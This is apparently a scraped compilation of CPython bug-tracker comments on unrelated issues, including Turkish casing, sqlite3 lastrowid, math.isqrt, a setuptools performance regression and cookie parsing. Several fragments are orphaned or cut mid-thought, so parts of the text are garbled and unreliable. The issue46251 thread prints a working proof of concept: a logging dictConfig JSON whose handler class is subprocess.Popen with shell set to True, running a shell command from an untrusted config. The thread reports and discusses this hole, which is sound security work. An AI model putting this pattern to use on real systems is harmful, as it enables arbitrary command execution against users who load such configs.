[issue46251] logger.config.configure_formatter executes arbitrary code

[Vinay Sajip]

Vinay Sajip  added the comment:

> "Dont load untrusted config files" is the answer I expected.

Yes. It's the usual convenience vs. security trade-off. To make configuration 
convenient, configurable factories with configurable parameters are provided. 
Can this be misused? Of course.

Digital signing has its place where auditability and accountability are 
important, but it would normally only be used in production where configuration 
changes are subject to a strict process with signoffs. 

There could definitely be stronger warnings in the documentation about trust 
and configurations.

I would think that's going too far, and perhaps it only moves the problem. In 
any case, dictConfig has a mechanism using the "()" key which allows any 
callable, not just a class. This is for a not uncommon use case where the 
callable is a function that returns a logging object (handler/formatter/filter) 
that has been tweaked in some way. But that feature can of course also be used 
with untrusted inputs to produce surprises.

[issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR

[Frank Feuerbacher]

New submission from Frank Feuerbacher :

This blasted Turkish I will be the death of us all...

https://www.unicode.org/versions/Unicode14.0.0/ch05.pdf has a lovely graphic on 
page 238 of the behavior of upper/lower casing of the various I's and when 
locale is Turkish or not. It seems that Python 3.9.5 is broken, and I see no 
evidence that version 10 has fixed it. 

Basically, U-0049 (I) should lower case to U-131 (ı) and vice-versa, when 
locale is tr_TR. The rules are different for other locales.

[issue32642] add support for path-like objects in sys.path

[Éric Araujo]

Éric Araujo  added the comment:

I’m not an import expert but would have misgivings about having fancy types in 
sys.path too!  It seems so fundamental, and used from C and Python, with a 
simple interface of a direct list (plus importers and finders etc), that I 
would understand it pure strings were required and not Paths (and not all 
path-likes).

On my FreeBSD 13 VM the sysconfig data module is

   
build/lib.freebsd-13.0-RELEASE-amd64-3.11-pydebug/_sysconfigdata_d_freebsd13_.py
 

It does not have any multiarch suffix. The multiarch suffix is detected by 
configure.ac. Did FreeBSD 14.0's CC get support for "cc --print-multiarch"? I 
found a related FreeBSD bug

But I don't yet understand why it's choosing to parse that expression fragment.

I did a run of pyperformance manually forcing setuptools<60.0 and another with

I assume we can therefore close this issue and maybe open another one thinking

maintainera).

[issue46262] Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag`

[Nikita Sobolev]

New submission from Nikita Sobolev :

I've noticed that `enum.Flag._missing_` has some uncovered paths. 

For example, this error is never checked: 
https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/enum.py#L1222-L1225

The same method for `Enum` has good coverage: 
https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/test/test_enum.py#L2278-L2325

I've added two simple test cases for `Flag` and `IntFlag` that check this.

[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

[Erlend E. Aasland]

New submission from Erlend E. Aasland :

The sqlite3 docs say that lastrowid is set to None after executemany(), or 
after execute()'ing statements that are not INSERTs or REPLACEs. This is not 
true; in those cases, lastrowid is preserved. lastrowid is only None in a 
pristine cursor. Suggesting to reword the docs so they harmonise with the 
implementation.

Note, there is a quirk, or bug with lastrowid: it is set to 0 if the first 
statement that's execute()d on a cursor is a non-INSERT/REPLACE statement. For 
example:

>>> import sqlite3
>>> cx = sqlite3.connect(":memory:")
>>> cu = cx.cursor()
>>> cu.lastrowid
>>> cu.execute("select 1")
>>> cu.lastrowid
0

This behaviour is consistent across current main through 3.7 (though in 2.7, 
the behaviour is consistent with the docs, so it probably changed a long time 
ago). I'm not sure it's worth noting this side effect in the docs though.

[issue46260] Misleading SyntaxError on f-string

[Matt Delengowski]

New submission from Matt Delengowski :

Example code


```
foo = 1
f"blank (open paren {foo )"
```

Error report

  File "", line 1
f"blank (open paren {foo )"
   ^
SyntaxError: f-string: unmatched ')'

The problem is due to unmatched '}' however.

Sorry, I wasn't suggesting this for SQLite; it's just a better
and more flexible option than using cursor.lastrowid where
available. Sadly, the PG extension is not standards conform SQL.

Indeed, and that's the point :-)

Those auto-increment ID fields are
not really such a good idea to begin with. Either you know that you
will need to manipulate the rows after inserting them (in which case
you can set an ID) or you don't care about the individual rows and
only want to aggregate or search in them based on other fields.

Hm, maybe so. But it will add a lot of overhead and complexity to 
executemany(), and there haven't been requests for this feature for sqlite3. 
AFAIK, there hasn't been request for lastrowid for executemany() at all. OTOH, 
my proposal of modifying lastrowid to always show the rowid of the actual last 
inserted row is a very cheap operation, _and_ it simplifies the code (=> 
increased maintainability), so I think I'll go for that.

Yes, but in those cases you keep track of the row id yourself, so you probably 
won't need lastrowid ;)

[issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash

[Guido van Rossum]

Guido van Rossum  added the comment:

I'm still wondering why speed.python.org showed such a slowdown, and how we can 
revert that. Here's a new theory.

Thanks to an investigation I did together with Eric, I now suspect that the 
release of setuptools 60.0.0 on Dec 19 is a smoking gun. PyPerformance 
(re)installs the latest versions of pip and setuptools.

Setuptools 60.0 makes a change in the file distutils-precedence.pth that causes 
it (by default) to import something called _distutils_hack and to call its 
add_shim() function. In previous setuptools this was off by default, but in 
60.0 it switched to on. See 
https://github.com/pypa/setuptools/blob/main/CHANGES.rst#v6000

That add_shim() call in turn installs an extra entry in front of sys.meta_path, 
which does a bunch of extra work. See 
https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py

Pablo, can we change the PyPerformance configuration or the script that runs it 
to set and export SETUPTOOLS_USE_DISTUTILS=stdlib, to see whether that affects 
perf at all?

(Note that the code in distutils-precedence.pth is executed by site.py in 
addpackage().)

[issue46248] Compilation errors on macOS

[Sandip Shah]

Sandip Shah  added the comment:

Hi,

Like I mentioned in the ticket, I am trying to compile libplist,
libimobiledevice , and libimobiledevice-glue-1.0 on my mac.  These are
needed to do any development on a mobile device (specifically for testing /
automation).  I use Python for a lot of developmental work, and hence would
rather stick to the same framework to work on mobile devices too.

https://github.com/libimobiledevice

The project is not to "embed" Python, but to link to it, so that it can be
used for testing the app on the mobile (the tools rely on Cython).

The three tools have their own "autogen.sh" which fails with the error
mentioned in the ticket.

While researching, I had found this solution on stackexchange -
https://stackoverflow.com/questions/6490513/vim-failing-to-compile-with-python-on-os-x

Which led me to this after looking more in the python distribution files:

---
In file
/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/sysconfig.py
On line 410 - fn _generate_posix_vars

439-448

Let me know if you need any other information.

My plan was to fix as much bugs in the stdlib and backport workaround to 3.9 
and 3.10, then propose to revert this "feature" in 3.11.

There is a risk of introducing some regressions by this change, but we can 
handle it. I think it is better to do it now and fix potential bugs in 
third-party code (we cannot add workarounds in all third-party code) than keep 
this weird special case forever.

Okay, so it is probably here to stay. We could justify it (after the fact :-)

[issue46258] Minor algorithmic improvements for math.isqrt

[Mark Dickinson]

New submission from Mark Dickinson :

There are a couple of minor algorithmic improvements possible for the 
math.isqrt fast path (which is used for nonnegative integers smaller than 
2**64). On my machine those improvements produce a little over a 10% speedup.

The current algorithm for values under 2**64 involves exactly four division 
instructions, corresponding to four Newton steps. The proposal is to:

- 1. Replace the first division with a table lookup. The necessary table is 
extremely small: 12 entries at one byte per entry.
- 2. Arrange for the return type of the _approximate_sqrt helper function to be 
uint32_t rather than uint64_t. That means that the correction step only 
involves a 32-bit-by-32-bit multiplication, not a 64-bit-by-64-bit 
multiplication.

The second part is a bit subtle: the input to _approximate_sqrt is a 64-bit 
integer `n` in the range [2**62, 2**64). Barring any overflow, the output `u` 
is guaranteed to satisfy `(u-1)**2 < n < (u+1)**2`. That implies that `(u-1)**2 
< 2**64`, from which it follows that `u <= 2**32`. So the only possible case 
where `u` might overflow a `uint32_t` is when `u == 2**32`. But from the 
earlier inequality, that can only happen if `n > (2**32 - 1)**2`, and in that 
case the top 31 bits of `n` are completely determined and since the first steps 
of the algorithm only depend on the topmost bits of `n`, it's easy to follow 
through the algorithm and see that it's not possible for `u` to be `2**32` in 
that case. (We always get `u = 128` from the lookup, followed by `u = 255` 
after the first division, then `u = 65536` after the second.)

[issue46257] Convert statistics sum of squares to a single pass algorithm

[Raymond Hettinger]

New submission from Raymond Hettinger :

The existing code makes two passes, one to compute the mean and another to 
compute the sum of squared differences from the mean.  A consequence of making 
two passes is that iterator inputs must be converted to a list before 
processing.  This throws away the memory saving advantages of iterators. 

The ostensible reason for the two pass code is that the single pass variant is 
numerically unstable when implemented with floating point accumulators.  
However, this code uses fractions throughout, so the accumulation is exact.

Changing to a single pass saves memory, doubles the speed, and simplifies the 
upstream code in variance(), pvariance(), stdev(), and pstdev().

Define "better"? The first way is by far the most obvious of the three, and the 
second way the least obvious. The first way also "wins" on being  a variation 
of a uniform pattern that can deliver the floor, ceiling, or rounded result, 
depending on which simple comparison result is added. It's not "a trick" - it's 
the opposite of clever ;-)

The first way is also unique in being the only one of the three that does _not_ 
do any Python-level arithmetic on integers as wide as `n`. `i` and `rem` are no 
more than about half the bit length of `n`. `n << 2` and `n - 1` in the others 
have to create new int objects at least as wide as `n`.

[issue41945] http.cookies.SimpleCookie.parse error after [keys] or some JSON data values

[Jan Novak]

Jan Novak  added the comment:

New examples with the structured data.

Problems are with quotes and spaces inside { or [

cookie-script.com set those cookie data:
CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}

Python loads only cookies before that JSON structure

>>> from http.cookies import SimpleCookie
>>> ck = SimpleCookie()
>>> ck.load('id=12345; 
>>> CookieScriptConsent={"action":"accept","categories":"[\\"performance\\"]"}; 
>>> something="not loaded"')
>>> print(ck)
Set-Cookie: id=12345

This works:
>>> ck.load('id=12345; complex_data={1:[1,2]}; something="loaded"')
>>> print(ck)
Set-Cookie: complex_data={1:[1,2]}
Set-Cookie: id=12345
Set-Cookie: something="loaded"

This not works:
>>> ck.load('id=12345; complex_data={1:[1, 2]}; something="not loaded"')
>>> print(ck)
Set-Cookie: complex_data={1:[1,
Set-Cookie: id=12345

Conclusion:
Parsing JSON like cookie objects works, except quotes and without spaces. 

Exist some new RFC with JSON data support?
How implementation/support/solution in diferent languages?
Exist another Python library which support cookie with JSON data?

[issue45173] Remove configparser deprecations

[Hugo van Kemenade]

Hugo van Kemenade  added the comment:

Searching 4,764 sdists from the top 5,000 PyPI packages, these 13 contain 
"LegacyInterpolation":

configparser-5.1.0.tar.gz
configparser2-4.0.0.tar.gz
eth_abi-2.1.1.tar.gz
eth-account-0.5.6.tar.gz
eth-hash-0.3.2.tar.gz
eth-utils-1.10.0.tar.gz
hexbytes-0.2.2.tar.gz
jedi-0.18.1.tar.gz
magicinvoke-2.4.5.tar.gz
mypy-0.910.tar.gz
pytype-2021.11.12.tar.gz
web.py-0.62.tar.gz
webcolors-1.11.1.tar.gz


The first two are stdlib backports: configparser is active and configparser2 
was last updated in 2015:

configparser-5.1.0/src/backports/configparser/__init__.py:
"LegacyInterpolation",
configparser-5.1.0/src/backports/configparser/__init__.py:class 
LegacyInterpolation(Interpolation):

configparser-5.1.0/src/configparser.py:LegacyInterpolation,
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:elif 
isinstance(self.interpolation, configparser.LegacyInterpolation):
configparser-5.1.0/src/test_configparser.py:interpolation = 
configparser.LegacyInterpolation()
configparser-5.1.0/src/test_configparser.py:class

configparser2-4.0.0/src/backports/configparser2/__init__.py:class 
LegacyInterpolation(Interpolation):

[issue46256] Objects __del__ called after module have been removed

[Daniele Varrazzo]

New submission from Daniele Varrazzo :

The following bug has been reported to Psycopg:

https://github.com/psycopg/psycopg/issues/198

At the end of the program, errors such as the following are dumped:

Exception ignored in: 
Traceback (most recent call last):
  File 
"/opt/homebrew/lib/python3.10/site-packages/psycopg/pq/pq_ctypes.py", line 91, 
in __del__
TypeError: 'NoneType' object is not callable

Where `None` is some module-level objects, such as `os.getpid`.

Unfortunately I don't have a full repro. The error seems only happening in 
Python 3.10.

[issue46248] Compilation errors on macOS

[Ronald Oussoren]

Ronald Oussoren  added the comment:

Part of the problem here is that most keys in the result of 
sysconfig.get_config_vars() are copied as-is from the CPython Makefile and 
pyconfig.h header file.

The keys copied from the Makefile are in a lot of cases not useful for users of 
python because they contain values that are only useful while building CPython 
itself. 

Without knowing your use case it is hard to point you to a better solution, but 
as Ned writes in general just follow the instructions from the extending and 
embedding documentation.

[issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__

[Jason R. Coombs]

Jason R. Coombs  added the comment:

Today I learned something. Thanks Arie. Yes, I agree that's a mistake. Perhaps 
the test suite should also have a test to capture the missed expectation (that 
__dict__ should not be present or setting attributes on EntryPoints instances 
should fail).

[issue45665] Problems caused by isinstance(list[int], type) returning True

[Ken Jin]

Ken Jin  added the comment:

> It does seem inconsistent that Any is not considered a type but list[int] is

Yeah, almost none of the typing "types" are types ever since PEP 560. 
Issue45755 was a side effect too.

[issue43976] Allow Python distributors to add custom site install schemes

[Miro Hrončok]

Miro Hrončok  added the comment:

In Fedora 36+ / Python 3.10+ we now use an install_scheme that looks like this:

'purelib': '{base}/local/lib/python{py_version_short}/site-packages',
'platlib': 
'{platbase}/local/{platlibdir}/python{py_version_short}/site-packages',
'scripts': '{base}/local/bin',
'data': '{base}/local',
...

We got a user report [1] saying that `pip install --root ... --prefix /usr` the 
prefix is not respected at all.

That is, users expect that /usr/local is the prefix, and when they explicitly 
set it to /usr, the /local/ bit will not be there, while in reality, /local/ is 
not a part of the prefix, but it is a part of the installation scheme.

I can somehow relate to that assumption.

Now I wonder whether we should have adapted prefix instead of the installation 
scheme :/


Any ideas on how to approach this problem? I am quite clueless.

[issue46251] logger.config.configure_formatter executes arbitrary code

[MarkBaggett]

MarkBaggett  added the comment:

Let me also mention that the problem really includes anything that uses the 
resolve() functions. Here is a working example that puts an exploit in a 
HANDLER rather than a FORMATTER.

$ ls /tmp/alsoworked
ls: cannot access '/tmp/alsoworked': No such file or directory
$ python calculator.py 
$ ls /tmp/alsoworked 
/tmp/alsoworked
$ cat log.config
{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworked",
"shell" : "True"
}
}
}


Or if you prefer it in one file..

-

import logging.config
import json

log_config_txt = '''{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworks",
"shell" : "True"
}
}
}
'''

log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)
